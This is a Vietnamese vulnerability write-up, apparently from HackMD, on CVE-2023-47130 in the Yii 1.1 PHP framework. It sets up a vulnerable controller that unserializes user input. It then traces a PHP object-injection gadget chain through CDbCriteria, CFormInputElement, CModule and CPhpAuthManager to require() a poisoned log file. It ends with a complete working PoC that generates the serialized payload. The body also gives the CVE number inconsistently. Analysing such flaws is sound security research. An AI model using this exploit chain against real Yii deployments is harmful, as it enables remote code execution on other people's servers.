---
# System prepended metadata

title: '1-Day Analysis: CVE-2023-47130'

---

# 1-Day Analysis: CVE-2023-47130
## Tổng quan
Yii là một Open-source PHP web framework. Design pattern của Yii là MVC và được dùng nhiều ở Mỹ, Trung Quốc,...
![image](https://hackmd.io/_uploads/rJIhhcnc1x.png)
### CVE-2023-47130
CVE-2023-41730 liên quan tới việc không sanitize user input dẫn tới việc nếu có 1 trang web thực hiện unserialize input đó sẽ dẫn tới việc gọi unsafe method và thực thi file bất kỳ.
![image](https://hackmd.io/_uploads/B1VwRcn9kl.png)
Ta tạo thêm trong controllers 1 file nhận user input và unserialize input đó:
```php
<?php
class UserInputController extends Controller
{
    public function actionIndex()
    {
        if (isset($_GET['data'])) {
            $serializedData = $_GET['data'];
            $result = unserialize($serializedData);
        } else {
            echo "No data provided.";
        }
    }
}
```
Check git commit: https://github.com/yiisoft/yii/commit/37142be4dc5831114a375392e86d6450d4951c06
![image](https://hackmd.io/_uploads/Bk0tki39ke.png)
`__wakeup()` là magic method của PHP và được tự động gọi khi unserialize => Ta có thể bắt đầu từ đây.
### Attack Flow
Trong method `__wakeup()` của CDbCriteria class sau khi check các placeholder cũ sẽ tiến hành remap thành các placeholder mới (tránh xung đột) bằng hàm `strtr()`:
![image](https://hackmd.io/_uploads/S16cxo3qkl.png)
`strtr()` có thể trigger được method `__toString()` và abstract class CFormElement có `__toString()` gọi đến hàm `render()`:
![image](https://hackmd.io/_uploads/Bkakwi2qJl.png)
Trong class CFormInputElement ta có hàm `render()` có thể gọi đến thuộc tính `showErrors` của đối tượng cha (`CModule`):
![image](https://hackmd.io/_uploads/SkVef2h5kl.png)
Khi được trigger, ta có thể gọi đến method `__get()` của class `CModule` và gọi đến hàm `getComponent()`:
![image](https://hackmd.io/_uploads/rJSpM2h5yx.png)
Trong hàm `getComponent()`, ta có thể control được giá trị của `$config` => control `$conponent` và gọi đến hàm `init()`:
![image](https://hackmd.io/_uploads/HJfJY5a91l.png)
Tìm trong source code ta có thể thấy trong class CPhpAuthManager sẽ gọi hàm `init()` -> `load()` -> `loadFromFile($this->authFile)` và cuối cùng là đưa vào dangerous function `require()`:
![image](https://hackmd.io/_uploads/rywdF5Tc1x.png)
![image](https://hackmd.io/_uploads/r1DKF56c1g.png)
![image](https://hackmd.io/_uploads/BJloK96c1l.png)
Chúng ta sẽ gọi tới file `application.log` bởi nó sẽ lưu lại REQUEST_URI:
![image](https://hackmd.io/_uploads/S1Ov39Tqyg.png)
Quay trở lại khi gọi hàm `render()`, ta cũng cần phải xử lý `$this->renderLabel()` và `$this->renderInput()` để mục đích cuối cùng là trigger payload:
![image](https://hackmd.io/_uploads/HyR8A9TqJx.png)
![image](https://hackmd.io/_uploads/S1mSeiTq1x.png)
Do class `CModule` không có method `getModel()` nên sẽ gọi tới method `__call()` của class cha `CComponent`:
![image](https://hackmd.io/_uploads/H1vAyjpcyg.png)
Lúc này, hãy tìm một lớp có method `getModel()`, khởi tạo nó và đặt nó vào `_m`
### PoC
```php
abstract class CModel{}
class CFormModel extends CModel{}
class CBehavior{
    private $_enabled;
    public function __construct()
    {
        $this->_enabled=true;
    }
}
class CDbCriteria{
    public $params;
    public $condition;
    public function __construct()
    {
        $this->params=[":ycp"=>"1"];
        $this->condition=new CFormInputElement();
    }
}
class CComponent{
    private $_m;
    public function __construct($a)
    {
        $this->_m=[$a];
    }
}
abstract class CModule extends CComponent{
    private $_componentConfig=array("showErrors"=>
        ["class"=>"CPhpAuthManager","authFile"=>"./protected/runtime/application.log"]);
    public function __construct()
    {
        parent::__construct(new CForm());
    }
}
class CWebModule extends CModule{}
abstract class CFormElement extends CComponent{
    private $_parent;
    public $attributes=array();
    public function __construct($a)

    {   $this->_parent=$a;
        $this->attributes=["id"=>"1","name"=>"1","value"=>"1"];
        parent::__construct(new CBehavior());

    }
}
class CForm extends CFormElement{
    private $_model;
    public function __construct()
    {
        parent::__construct(1);
        $this->_model=new CFormModel();
    }
}
class CFormInputElement extends CFormElement {
    private $_label;
    private $_required;
    public $type;
    public function __construct()
    {
        $this->type="file";
        $this->_label=false;
        $this->_required="";
        parent::__construct(new CWebModule());
    }
}
$a=urlencode(serialize([new CDbCriteria]));
echo $a;
```
![image](https://hackmd.io/_uploads/HkrgjjTcyx.png)
![image](https://hackmd.io/_uploads/SyiliiT5Jx.png)
Source code: https://github.com/yiisoft/yii/archive/refs/tags/1.1.28.zip





